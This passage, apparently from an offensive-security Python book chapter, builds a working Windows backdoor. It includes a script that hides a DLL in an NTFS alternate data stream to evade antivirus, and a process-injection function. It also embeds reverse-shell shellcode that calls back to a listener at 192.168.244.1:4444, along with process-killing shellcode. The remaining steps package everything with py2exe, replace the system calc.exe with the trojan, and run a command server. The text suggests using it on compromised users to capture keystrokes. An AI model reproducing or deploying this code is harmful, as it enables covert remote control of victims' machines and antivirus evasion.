Now let's put some of our injection skills to bad use. We will create a devious little backdoor that can be used to gain control of a system any time an executable of our choosing gets run. When our executable gets run, we will perform execution redirection by spawning the original executable that the user wanted (for instance, we'll name our binary calc.exe and move the original calc.exe to a known location). When the second process loads, we code inject it to give us a shell connection to the target machine. After the shellcode has run and we have our shell connection, we inject a second piece of code into the remote process that kills the process we are currently running inside.
Wait a second! Couldn't we just let our calc.exe process exit? In short, yes. But process termination is a key technique for a backdoor to support. For example, you could combine some process-iteration code that you learned in earlier chapters and apply it to try to find antivirus or software firewalls running and simply kill them. It is also important so that you can migrate from one process to another and kill the process you left behind if you don't need it anymore.
We will also be showing how to compile Python scripts into real standalone Windows executables and how to covertly ship DLLs within the primary executable. Let's see how to apply a little stealth to create some stowaway DLLs.
In order for us to safely distribute an injectable DLL with our backdoor, we need a stealthy way of storing the file as to not attract too much attention. We could use a wrapper, which takes two executables (including DLLs) and wraps them together as one, but this is a book about hacking with Python, so we have to get a bit more creative.
To hide files inside executables, we are going to abuse a legacy feature of the NTFS filesystem called alternate data streams (ADS). Alternate data streams have been around since Windows NT 3.1 and were introduced as a means to communicate with the Apple hierarchical file system (HFS). ADS enables us to have a single file on disk and store the DLL in a stream that is attached to the primary executable. A stream is really nothing more than a hidden file that is attached to the file that you can see on disk.
By using an alternate data stream, we are hiding the DLL from the user's immediate view. Without specialized tools, a computer user can't see the contents of ADSs, which is ideal for us. In addition, a number of security products don't properly scan alternate data streams, so we have a good chance of slipping underneath their radar to avoid detection.
To use an alternate data stream on a file, we'll need to do nothing more than append a colon and a filename to an existing file, like so:
reverser.exe:vncdll.dll
In this case we are accessing vncdll.dll, which is stored in an alternate data stream attached to reverser.exe. Let's write a quick utility script that simply reads in a file and writes it out to an ADS attached to a file of our choosing. Open an additional Python script called file_hider.py and enter the following code.
import sys # Read in the DLL fd = open( sys.argv[1], "rb" ) dll_contents = fd.read() fd.close() print "[*] Filesize: %d" % len( dll_contents ) # Now write it out to the ADS fd = open( "%s:%s" % ( sys.argv[2], sys.argv[1] ), "wb" ) fd.write( dll_contents ) fd.close()
Nothing fancy—the first command-line argument is the DLL we wish to read in, and the second argument is the target file whose ADS we will be storing the DLL in. We can use this little utility to store any kind of files we would like alongside the executable, and we can inject DLLs directly out of the ADS as well. Although we won't be utilizing DLL injection for our backdoor, it will still support it, so read on.
Let's start by building our execution redirection code, which very simply starts up an application of our choosing. The reason it's called execution redirection is because we will name our backdoor calc.exe and move the original calc.exe to a different location. When the user attempts to use the calculator, she will be inadvertently running our backdoor, which in turn will start the proper calculator and thus not alert the user that anything is amiss. Note that we are including the my_debugger_defines.py file from Chapter 3, which contains all of the necessary constants and structs in order to do the process creation. Open a new Python file, name it backdoor.py, and enter the following code.
# This library is from Chapter 3 and contains all # the necessary defines for process creation import sys from ctypes import * from my_debugger_defines import * kernel32 = windll.kernel32 PAGE_EXECUTE_READWRITE = 0x00000040 PROCESS_ALL_ACCESS = ( 0x000F0000 | 0x00100000 | 0xFFF ) VIRTUAL_MEM = ( 0x1000 | 0x2000 ) # This is the original executable path_to_exe = "C:\\calc.exe" startupinfo = STARTUPINFO() process_information = PROCESS_INFORMATION() creation_flags = CREATE_NEW_CONSOLE startupinfo.dwFlags = 0x1 startupinfo.wShowWindow = 0x0 startupinfo.cb = sizeof(startupinfo) # First things first, fire up that second process # and store its PID so that we can do our injection kernel32.CreateProcessA(path_to_exe, None, None, None, None, creation_flags, None, None, byref(startupinfo), byref(process_information)) pid = process_information.dwProcessId
Not too complicated, and there is no new code in there. Before we move into the DLL injection code, we are going to explore how we can hide the DLL itself before using it for the injection. Let's add our injection code to the backdoor; just tack it on right after the process-creation section. Our injection function will also be able to handle code or DLL injection; simply set the parameter flag to 1, and the data variable will then contain the path to the DLL. We aren't going for clean here; we're going for quick and dirty. Let's add the injection capabilities to our backdoor.py file.
... def inject( pid, data, parameter = 0 ): # Get a handle to the process we are injecting into. h_process = kernel32.OpenProcess( PROCESS_ALL_ACCESS, False, int(pid) ) if not h_process: print "[*] Couldn't acquire a handle to PID: %s" % pid sys.exit(0) arg_address = kernel32.VirtualAllocEx(h_process, 0, len(data), VIRTUAL_MEM, PAGE_EXECUTE_READWRITE) written = c_int(0) kernel32.WriteProcessMemory(h_process, arg_address, data, len(data), byref(written)) thread_id = c_ulong(0) if not parameter: start_address = arg_address else: h_kernel32 = kernel32.GetModuleHandleA("kernel32.dll") start_address = kernel32.GetProcAddress(h_kernel32,"LoadLibraryA") parameter = arg_address if not kernel32.CreateRemoteThread(h_process,None, 0,start_address,parameter,0,byref(thread_id)): print "[*] Failed to inject the DLL. Exiting." sys.exit(0) return True
We now have a supported injection function that can handle both code and DLL injection. Now it's time to inject two separate pieces of shellcode into the real calc.exe process, one to give us the reverse shell and one to kill our deviant process. Let's continue adding code to our backdoor.
... # Now we have to climb out of the process we are in # and code inject our new process to kill ourselves #/* win32_reverse - EXITFUNC=thread LHOST=192.168.244.1 LPORT=4444 Size=287 Encoder=None http://metasploit.com */ connect_back_shellcode = "\xfc\x6a\xeb\x4d\xe8\xf9\xff\xff\xff\x60\x8b\x6c\x24\x24\x8b\x45" \ "\x3c\x8b\x7c\x05\x78\x01\xef\x8b\x4f\x18\x8b\x5f\x20\x01\xeb\x49" \ "\x8b\x34\x8b\x01\xee\x31\xc0\x99\xac\x84\xc0\x74\x07\xc1\xca\x0d" \ "\x01\xc2\xeb\xf4\x3b\x54\x24\x28\x75\xe5\x8b\x5f\x24\x01\xeb\x66" \ "\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb\x03\x2c\x8b\x89\x6c\x24\x1c\x61" \ "\xc3\x31\xdb\x64\x8b\x43\x30\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x40" \ "\x08\x5e\x68\x8e\x4e\x0e\xec\x50\xff\xd6\x66\x53\x66\x68\x33\x32" \ "\x68\x77\x73\x32\x5f\x54\xff\xd0\x68\xcb\xed\xfc\x3b\x50\xff\xd6" \ "\x5f\x89\xe5\x66\x81\xed\x08\x02\x55\x6a\x02\xff\xd0\x68\xd9\x09" \ "\xf5\xad\x57\xff\xd6\x53\x53\x53\x53\x43\x53\x43\x53\xff\xd0\x68" \ "\xc0\xa8\xf4\x01\x66\x68\x11\x5c\x66\x53\x89\xe1\x95\x68\xec\xf9" \ "\xaa\x60\x57\xff\xd6\x6a\x10\x51\x55\xff\xd0\x66\x6a\x64\x66\x68" \ "\x63\x6d\x6a\x50\x59\x29\xcc\x89\xe7\x6a\x44\x89\xe2\x31\xc0\xf3" \ "\xaa\x95\x89\xfd\xfe\x42\x2d\xfe\x42\x2c\x8d\x7a\x38\xab\xab\xab" \ "\x68\x72\xfe\xb3\x16\xff\x75\x28\xff\xd6\x5b\x57\x52\x51\x51\x51" \ "\x6a\x01\x51\x51\x55\x51\xff\xd0\x68\xad\xd9\x05\xce\x53\xff\xd6" \ "\x6a\xff\xff\x37\xff\xd0\x68\xe7\x79\xc6\x79\xff\x75\x04\xff\xd6" \ "\xff\x77\xfc\xff\xd0\x68\xef\xce\xe0\x60\x53\xff\xd6\xff\xd0" inject( pid, connect_back_shellcode ) #/* win32_exec - EXITFUNC=thread CMD=cmd.exe /c taskkill /PID AAAA #Size=159 Encoder=None http://metasploit.com */ our_pid = str( kernel32.GetCurrentProcessId() ) process_killer_shellcode = \ "\xfc\xe8\x44\x00\x00\x00\x8b\x45\x3c\x8b\x7c\x05\x78\x01\xef\x8b" \ "\x4f\x18\x8b\x5f\x20\x01\xeb\x49\x8b\x34\x8b\x01\xee\x31\xc0\x99" \ "\xac\x84\xc0\x74\x07\xc1\xca\x0d\x01\xc2\xeb\xf4\x3b\x54\x24\x04" \ "\x75\xe5\x8b\x5f\x24\x01\xeb\x66\x8b\x0c\x4b\x8b\x5f\x1c\x01\xeb" \ "\x8b\x1c\x8b\x01\xeb\x89\x5c\x24\x04\xc3\x31\xc0\x64\x8b\x40\x30" \ "\x85\xc0\x78\x0c\x8b\x40\x0c\x8b\x70\x1c\xad\x8b\x68\x08\xeb\x09" \ "\x8b\x80\xb0\x00\x00\x00\x8b\x68\x3c\x5f\x31\xf6\x60\x56\x89\xf8" \ "\x83\xc0\x7b\x50\x68\xef\xce\xe0\x60\x68\x98\xfe\x8a\x0e\x57\xff" \ "\xe7\x63\x6d\x64\x2e\x65\x78\x65\x20\x2f\x63\x20\x74\x61\x73\x6b" \ "\x6b\x69\x6c\x6c\x20\x2f\x50\x49\x44\x20\x41\x41\x41\x41\x00" padding = 4 - ( len( our_pid ) ) replace_value = our_pid + ( "\x00" * padding ) replace_string= "\x41" * 4 process_killer_shellcode = process_killer_shellcode.replace( replace_string, replace_value ) # Pop the process killing shellcode in inject( our_pid, process_killer_shellcode )
All right! We pass in the process ID of our backdoor process and inject the shellcode into the process we spawned (the second calc.exe, the one with buttons and numbers on it), which then kills our backdoor. We now have a fairly comprehensive backdoor that utilizes some stealth, and better yet, we get access to the target machine every time someone runs the application we are interested in. An approach you can use in the field is if you have compromised a user's system and the user has access to propriety or password-protected software, you can swap out the binaries. Any time the user launches the process and logs in, you are given a shell where you can start monitoring keystrokes, sniffing packets, or whatever you choose. We have one small thing to take care of: How are we going to guarantee that the remote user has Python installed so we can run our backdoor? We don't! Read on to learn the magic of a Python library called py2exe, which will take our Python code and turn it into a real Windows executable.
A handy Python library called py2exe[36] allows you to compile a Python script into a full-fledged Windows executable. You must use py2exe on a Windows machine, so keep this in mind as we proceed through the following steps. Once you run the py2exe installer, you are ready to use it inside a build script. In order to compile our backdoor, we create a simple setup script that defines how we want the executable to be built. Open a new file, name it setup.py, and enter the following lines.
# Backdoor builder from distutils.core import setup import py2exe setup(console=['backdoor.py'], options = {'py2exe':{'bundle_files':1}}, zipfile = None, )
Yep, it's that simple. Let's look at the parameters we have
passed to the setup function. The first parameter,
console
, is the name of the primary script we are
compiling. The options
and
zipfile
parameters are set to bundle the Python
DLL and all other dependent modules into the primary executable.
This makes our backdoor very portable in that we can move it onto a
system without Python installed, and it will work just fine. Just
make sure that my_debugger_defines.py,
backdoor.py, and setup.py are in the
same directory. Switch to your Windows command interface, and run
the build script like so:
python setup.py py2exe
You will see a bunch of output from the compilation process, and when it's finished you will have two new directories, dist and build. Inside the dist folder your executable backdoor.exe will be waiting to be deployed. Rename it calc.exe and copy it onto the target system. Copy the original calc.exe out of C:\WINDOWS\system32\ and into the C:\folder. Move our backdoor calc.exe into C:\WINDOWS\ system32\. Now all we need is a means to use the shell that's going to be sent back to us, so let's whip up a simple interface to send commands and receive their output. Crack open a new Python file, name it backdoor_shell.py, and enter the following code.
import socket import sys host = "192.168.244.1" port = 4444 server = socket.socket( socket.AF_INET, socket.SOCK_STREAM ) server.bind( ( host, port ) ) server.listen( 5 ) print "[*] Server bound to %s:%d" % ( host , port ) connected = False while 1: #accept connections from outside if not connected: (client, address) = server.accept() connected = True print "[*] Accepted Shell Connection" buffer = "" while 1: try: recv_buffer = client.recv(4096) print "[*] Received: %s" % recv_buffer if not len(recv_buffer): break else: buffer += recv_buffer except: break # We've received everything, now it's time to send some input command = raw_input("Enter Command> ") client.sendall( command + "\r\n\r\n" ) print "[*] Sent => %s" % command
This is a very simple socket server that merely takes in a
connection and does basic reading and writing. Fire up the server,
with the host and port variables set for your environment. Once it's
running, take your calc.exe onto a remote
system (your local Windows box will work as well) and run it. You
should see the calculator interface pop up, and your Python shell
server should have registered a connection and received some data.
In order to break the recv
loop, hit
ctrl-C, and it will prompt you to enter a command.
Feel free to get creative here, but you can try things like
dir, cd
, and type,
which are
all native Windows shell commands. For each command you enter, you
will receive its output. Now you have a means of communicating with
your backdoor that's efficient and somewhat stealthy. Use your
imagination and expand on some of the functionality; think of
stealth and antivirus evasion. The nice thing about developing it in
Python is that it's quick, easy, and reusable.
As you have seen in this chapter, DLL and code injection are two very useful and very powerful techniques. You are now armed with another skill that will come in handy during penetration tests or for reverse engineering. Our next focus will be how to break software using Python-based fuzzers, using both your own and some excellent open source tools. Let's torture some software.